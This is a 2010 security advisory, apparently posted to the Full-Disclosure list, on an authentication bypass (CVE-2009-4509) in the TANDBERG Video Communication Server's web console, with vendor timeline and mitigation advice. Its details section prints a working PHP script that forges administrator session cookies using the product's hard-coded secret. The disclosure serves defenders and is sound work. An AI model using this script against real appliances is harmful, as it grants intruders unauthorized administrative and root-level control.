-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Virtual Security Research, LLC. http://www.vsecurity.com/ Security Advisory - -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Advisory Name: TANDBERG Video Communication Server Authentication Bypass Release Date: 2010-04-09 Application: Video Communication Server (VCS) Versions: x4.2.1 and possibly earlier Severity: Critical Discovered by: Jon Hart and Timothy D. Morgan Advisory by: Timothy D. Morgan Vendor Status: Update released (without security advisory) on October 9, 2009 CVE Candidate: CVE-2009-4509 Reference: http://www.vsecurity.com/resources/advisory/20100409-1/ - -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Product Description - ------------------- - From [1]: "The Video Communication Server (VCS) is an integral part of the TANDBERG Total Solution and is the center of the video communications network, connecting the benefits of video conferencing and telepresence to other communications environments including unified communications and IP Telephony networks." Vulnerability Overview - ---------------------- On December 2nd, VSR identified an authentication bypass vulnerability in TANDBERG's Video Communication Server, firmware version x4.2.1. This vulnerability allows for the complete bypass of authentication in the administrative web console. Since this web interface can be used to execute arbitrary code on the appliance as root (via software updates), the severity is considered critical. Product Background - ------------------ The TANDBERG Video Communication Server is a Linux-based appliance which supports the interoperation of a plethora of video and voice communications devices. The VCS provides a web-based management interface implemented in PHP which allows administrators to perform a wide variety of actions, including configuration of the device, management of user accounts, firmware updates, along with number of other items. Vulnerability Details - --------------------- The TANDBERG VCS web management interface utilizes custom cookies for the purpose of session management. In version x4.2.1 of the appliance firmware (and possibly earlier versions), it is possible to forge session cookies with relatively little knowledge of the appliance's configuration. The vulnerability lies in the files located at the following paths: /tandberg/web/lib/secure.php /tandberg/web/user/lib/secure.php Routines in these files generate user session cookies in roughly the following way: SECRET = SERVER_ADDRESS + STATIC_VALUE HASH = md5(USERNAME + SECRET + CLIENT_ADDRESS + CURRENT_TIME) COOKIE = USERNAME + ACCESS_RIGHTS + CLIENT_ADDRESS + CURRENT_TIME + HASH In the above pseudocode, the SERVER_ADDRESS represents the VCS system's IP address, STATIC_VALUE represents a fixed string which is hard-coded into the application source, USERNAME is the authenticated user name, CLIENT_ADDRESS is the IP address of the user's system, CURRENT_TIME is a simple UNIX time stamp, and ACCESS_RIGHTS is an integer denoting the level of access assigned to the user. Note, that none of the information above is difficult to guess. Any owner of a TANDBERG VCS would have access to the STATIC_VALUE (and in fact, this value is contained in the firmware updates[2]). All TANDBERG appliances have a default user name of "admin" which has full privileges. Therefore, it is possible with a simple PHP script to forge new cookies and access the administrative interface: // NOTE: Portions of the following code are Copyright (C) 2009 TANDBERG // function objectToCookie($obj) { $cookie = serialize($obj); $cookie = gzcompress($cookie); $cookie = base64_encode($cookie); return $cookie; } function genCookie($server_addr, $remote_addr) { $user_name = "root"; $secret = $server_addr . "139EF012B6A714A3BE0A867616C7F8"; $time = time()+24*60*60; $id_hash = md5($user_name . $secret . $remote_addr . $time); $access = 1; // ReadWrite $login_cookie = array( "user_name" => $user_name, "access" => $access, "id_hash" => $id_hash, "ip" => $remote_addr, "time" => $time ); return objectToCookie($login_cookie); } print "Cookie: tandberg_login=" . urlencode(genCookie("{{SERVER_IP}}", "{{CLIENT_IP}}")) . "\n"; // end of script // TANDBERG released firmware version x4.3.0 which corrects this issue on October 9, 2009 (prior to discovery of the vulnerability by VSR). The release notes[3] for this updated version contain a description of the issue: "Improved the security of the web interface to ensure that the system will not, under any circumstances, allow an authenticated user to escalate their session to more advanced privileges [Ref # 65050]." However, VSR felt this does not adequately describe the problem. Clearly, as the above exploit and pseudocode demonstrate, it would be possible to alter an existing login session cookie to provide elevated "access" values without updating the MD5 hash, since this value isn't included when the hash is generated. However, the larger issue is that cookies can be forged from scratch without an existing session. In addition to this lack of clarity, no apparent security advisory for this issue was released to the public via the normal channels (nor was it recorded in the CVE as of this writing). Therefore, VSR felt it is in the public interest to shed further light on the problem. Versions Affected - ----------------- VSR has successfully exploited this issue in version x4.2.1. Earlier versions may also be affected. Version x4.3.0 corrects the problem through use of a random secret and the inclusion of the "access" value in the hash. Vendor Response - --------------- The following timeline details TANDBERG's response to the reported issue: 2009-12-09 Preliminary notice to TANDBERG. TANDBERG responded immediately. 2009-12-22 VSR provided TANDBERG a draft advisory. 2009-12-28 TANDBERG confirmed that this issue was corrected in version x4.3. 2010-04-07 TANDBERG VCS firmware version x5.1.1 released [2] which corrected other flaws identified by VSR. 2010-04-09 VSR advisory released. Recommendation - -------------- Upgrade to firmware version x4.3.0 (or newer) as soon as possible. If this is not immediately possible, temporary mitigation could be achieved by changing the "$this->secret" constant in the following files to something unpredictable: /tandberg/web/lib/secure.php /tandberg/web/user/lib/secure.php Note that other vulnerabilities were identified in firmware versions prior to x5.1.1. Therefore, upgrading to this version is recommended. See CVE-2009-4510 and CVE-2009-4511 for more information. Common Vulnerabilities and Exposures (CVE) Information - ------------------------------------------------------ The Common Vulnerabilities and Exposures (CVE) project has assigned the number CVE-2009-4509 to this issue. This is a candidates for inclusion in the CVE list (http://cve.mitre.org), which standardizes names for security problems. Acknowledgements - ---------------- Thanks to TANDBERG for the quick initial response and cooperation. - -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- References: 1. TANDBERG - Video Communication Server http://www.tandberg.com/video-conferencing-network-infrastructure/video-communication-server.jsp 2. TANDBERG VCS Firmware Downloads http://ftp.tandberg.com/pub/software/vcs/ 3. TANDBERG VCS Version x4 Software Release Notes http://ftp.tandberg.com/pub/software/vcs/TANDBERG%20Video%20Communication%20Server%20Software%20Release%20Notes%20(X4).pdf - -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Copyright 2009,2010 Virtual Security Research, LLC. All rights reserved. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.10 (GNU/Linux) iD8DBQFLv/kqQ1RSUNR+T+gRAjcpAKCg8fsgBxnaoqPrGMq/5eVow9AbzACgjvoN 5t0z+HmLNIzNIzv0Un+KqiE= =vj2C -----END PGP SIGNATURE----- _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/